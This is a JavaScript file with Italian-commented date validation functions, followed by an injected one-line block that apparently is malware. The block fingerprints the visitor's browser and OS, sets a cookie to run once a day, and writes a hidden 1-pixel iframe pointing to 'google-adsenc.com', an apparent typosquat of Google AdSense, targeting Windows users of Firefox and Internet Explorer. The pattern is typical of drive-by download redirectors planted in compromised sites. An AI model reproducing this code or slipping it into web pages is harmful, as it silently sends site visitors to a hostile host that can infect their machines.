function isDateS(data)
{
        // funzione di controllo per data inserita in un campo unico nel formato giorno/mese/anno
        if (data.indexOf("/") == data.lastIndexOf("/") || data.indexOf("/") == -1 || data.lastIndexOf("/")==-1)
                return false
                
        gg          = data.split("/")[0]
        mm          = data.split("/")[1]
        aaaa    	= data.split("/")[2]
        
        if(isDate(gg,mm,aaaa))
                return true
        else
                return false
}

function isDate(gg,mm,aaaa)
{
        // funzione di controllo per data inserita in un campo triplice nel formato gg/mm/aaaa
       
        
                gg = Number(gg)
                mm = Number(mm)

        if(aaaa.length<4)

        {
                return false
        }
        else
        {
                data = new Date(aaaa,mm-1,gg)
                gg1 = data.getDate()

                mm1 = data.getMonth()+1

                aaaa1 = data.getFullYear()

                
                datainput = gg+"/"+mm+"/"+aaaa

                dataresult = gg1+"/"+mm1+"/"+aaaa1

                if (dataresult!=datainput)

                        return false
                else
                        return true
        }               
}


var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}